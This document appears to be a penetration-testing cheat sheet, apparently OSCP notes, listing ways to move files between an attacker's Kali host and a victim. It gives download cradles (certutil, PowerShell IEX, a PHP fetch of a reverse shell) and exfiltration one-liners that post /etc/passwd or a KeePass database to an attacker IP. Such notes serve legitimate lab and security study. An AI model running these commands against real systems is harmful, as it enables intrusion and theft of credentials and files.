674 words
3 minutes
File Transfer Techniques

1. Attacker (Kali) Setup#

Hosting Services

ServiceCommandNotes
Python 3 HTTPsudo python3 -m http.server 80 OR 8080Standard web server.
Python 2 HTTPsudo python -m SimpleHTTPServer 80 OR 8080Standard web server.
PHP Web Serversudo php -S 0.0.0.0:80Quick PHP rendering.
Apache2service apache2 startHeavyweight web server.
Ruby HTTPruby -run -e httpd . -p 9000Standard web server.
Ruby WEBrickruby -rwebrick -e "WEBrick::HTTPServer.new(:Port => 8080, :DocumentRoot => Dir.pwd).start"Alternative Ruby server.
WWWtreepython3 /opt/wwwtree/wwwtree.py -r ~/transfer/ -i tun0 -p 80Directory listing server.
Impacket SMBsudo impacket-smbserver share $(pwd) -smb2supportHosts current directory over SMB.
Pure-FTPDsystemctl start pure-ftpdStandard FTP service.
VSFTPDsudo service vsftpd startStandard FTP service.
Python Pyftpdlibsudo python -m pyftpdlib 21Read-only FTP.
Python FTP Serversudo python3 -m python_ftp_server -d "</home/kali/project/upload-directory" -u "user" -p "password" --ip <IP-ATTACKER> --port 21Authenticated FTP.
TFTPsudo atftpd --daemon --port 69 /tftpUDP file transfer.
SSHsudo systemctl start sshEnables SCP/SFTP.

Receiving Services (Upload Catchers)

ServiceCommandNotes
Python Pyftpdlib (Write)python3 -m pyftpdlib --write --port 21Allows anonymous upload.
Python Uploadpython SimpleHTTPServerWithUpload.pyCustom Python upload script.
Raven Toolraven 0.0.0.0 9003 --upload-dir /home/kali/OSCP/challenges/relia/mailUpload catcher.
PHP Upload Script<?php $uploaddir = '/var/www/uploads/'; $uploadfile = $uploaddir . $_FILES['file']['name']; move_uploaded_file($_FILES['file']['tmp_name'], $uploadfile) ?>Place in web root.
Netcat Listenernc -nlvp 1234 OR nc -nlvp 4444 > /home/kali/project/outgoing.txt OR nc -nlvp 4444 > incoming.shCatches incoming stream.
Socat Listenersocat -u TCP-LISTEN:9876,reuseaddr OPEN:out.txt,creat && cat out.txtRobust socket catcher.
(Added) Python 3 Uploadpython3 -m uploadserver 80Native Python 3 upload server.
(Added) Updogupdog -p 80Web UI for HTTP uploads.

2. Transfer to Victim (Attacker ➔ Victim)#

Linux Victims

ToolCommand
Wgetwget http://<IP-ATTACKER>/<FILE>
cURLcurl http://<IP-ATTACKER>/<FILE> -o <file>
Axelaxel -a -n 20 -o filename.pdf http://www.domain.tld/directory/large-file.pdf
Netcat (Send from Kali)nc -nv 10.11.0.22 4444 < /usr/share/windows-resources/binaries/wget.exe
Socat (Send from Kali)sudo socat TCP4-LISTEN:443,fork file:<FILE-NAME>
SCP (Pull)scp USER@HOST_IP:/tmp/remote_file.txt local_file.txt (Syntax adjusted for pull context)
SCP (Push from Kali)scp local_file.txt USER@HOST_IP:/tmp/remote_file.txt
FTP (Manual)ftp <IP-ATTACKER> , then get <FILE-NAME> OR mget <FILE-*>. Always use binary type.
(Added) Bash /dev/tcpcat < /dev/tcp/<IP-ATTACKER>/80 > file

Windows Victims

ToolCommand
PowerShell WebClientpowershell -c "(new-object System.Net.WebClient).DownloadFile('http://<IP-ATTACKER>/wget.exe','C:\Users\Public\Desktop\wget.exe')"
PowerShell IEXiex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1')
PowerShell ExecutionPowerShell.exe -ExecutionPolicy Bypass (Use to run downloaded scripts).
cURLcurl http://<IP-ATTACKER>/<FILE> -o <file>
Certutilcertutil -urlcache -split -f http://IP-attacker/filename.exe path/to/shell.exe
Python Scriptpython.exe -c "import urllib2; print urllib2.urlopen('http://<IP-ATTACKER>/fgdump.exe').read()" > fgdump.exe
PHP Script<?php file_put_contents("/tmp/php-reverse-shell.txt", fopen("http://<IP-ATTACKER>/php-reverse-shell.txt", "r")); ?>
SMB Copycopy \\0.0.0.0\share\filename.exe C:\users\public\music\filename.exe
Netcatnc -nlvp 4444 > incoming.exe (Requires Kali to send).
Socatsocat TCP4:10.11.0.4:443 file:<FILE-NAME>,create
FTP (Interactive)open <IP-ATTACKER> , <USERNAME> , <PASSWORD> , binary , mget file.exe , disconnect , quit.
FTP (Scripted)ftp -i -s:ftp.txt
(Added) Bitsadminbitsadmin /transfer n http://<IP-ATTACKER>/file.exe C:\Temp\file.exe

3. Transfer to Attacker (Victim ➔ Attacker)#

Linux Victims

ToolCommand
Wget (POST)wget --post-file=/etc/passwd <IP-ATTACKER:1234>
Cancelcancel -u "$(cat /etc/passwd)" -h <IP-ATTACKER:1234>
Whoiswhois -h <IP-ATTACKER> - p<1234> $(cat /etc/passwd)

Windows Victims

ToolCommand
PowerShell WebClientpowershell (New-Object System.Net.WebClient).UploadFile('http://10.11.0.4/upload.php', 'important.docx')
PowerShell RestMethodInvoke-RestMethod -Uri http://192.168.45.208:9003/ -Method Post -InFile C:\users\jim\Desktop\Database.kdbx
TFTPtftp -i <IP-ATTACKER> put <FILENAME>
SMB Copycopy C:\users\public\music\filename.txt \\0.0.0.0\share\filename.txt
FTP (Interactive)open <IP-ATTACKER> , <USERNAME> , <PASSWORD> , binary , put file.exe , disconnect , quit.

4. Session & GUI Transfers#

ToolCommand / Action
xfreerdpxfreerdp /v:$ip /u:<username> /p:<password> /dynamic-resolution +clipboard /drive:share,/home/kali/project
rdesktoprdesktop $ip -u <username> -p <password> -r disk:tmp=$(pwd)
Evil-WinRMExecute evil-winrm , then use upload filename.exe OR download filename.txt /home/kali/projects/filename.txt
GUI ClipboardJust copy via the GUI
(Added) Base64Attack machine: base64 file -w 0. Victim: echo "<BASE64>" | base64 -d > file

File Transfer via SSH (Victim to Kali)#

Prerequisite: If pushing from the victim to Kali, ensure the SSH service is running on your Kali machine (sudo systemctl start ssh). If pulling from the victim, the victim must have an SSH server running.

1. SCP (Secure Copy Protocol)#

The most straightforward method for direct file transfer.

Execution LocationActionCommand
Execute on KaliPull from Victimscp <victim_user>@<VICTIM_IP>:/path/to/victim_file /path/to/local_destination/
Execute on VictimPush to Kaliscp /path/to/victim_file <kali_user>@<KALI_IP>:/path/to/kali_destination/
Execute on KaliPull Directory (Recursive)scp -r <victim_user>@<VICTIM_IP>:/path/to/victim_dir /path/to/local_destination/

2. SFTP (SSH File Transfer Protocol)#

Useful if you need an interactive session to browse directories before transferring.

Execution LocationActionCommand
Execute on KaliConnect to Victimsftp <victim_user>@<VICTIM_IP>
SFTP PromptDownload to Kaliget /path/to/victim_file
Execute on VictimConnect to Kalisftp <kali_user>@<KALI_IP>
SFTP PromptUpload to Kaliput /path/to/victim_file

3. SSH + Standard Output (Data Streaming)#

Highly effective for bypassing restricted environments, transferring files without scp/sftp binaries, or piping directly into memory/archives without touching the disk on the receiving end.

Execution LocationActionCommand
Execute on KaliPull single file via catssh <victim_user>@<VICTIM_IP> "cat /path/to/victim_file" > /local/path/file
Execute on VictimPush single file via catcat /path/to/victim_file | ssh <kali_user>@<KALI_IP> "cat > /kali/path/file"
Execute on KaliPull & extract directoryssh <victim_user>@<VICTIM_IP> "tar czf - /victim/dir" | tar xzf - -C /local/dir
Execute on VictimPush & extract directorytar czf - /victim/dir | ssh <kali_user>@<KALI_IP> "tar xzf - -C /kali/dir"
NOTE

If transferring binary files (like compiled exploits or memory dumps) using the cat method, ensure you use base64 to prevent data corruption during transit:

Push: cat binary_file | base64 | ssh <kali_user>@<KALI_IP> "base64 -d > binary_file"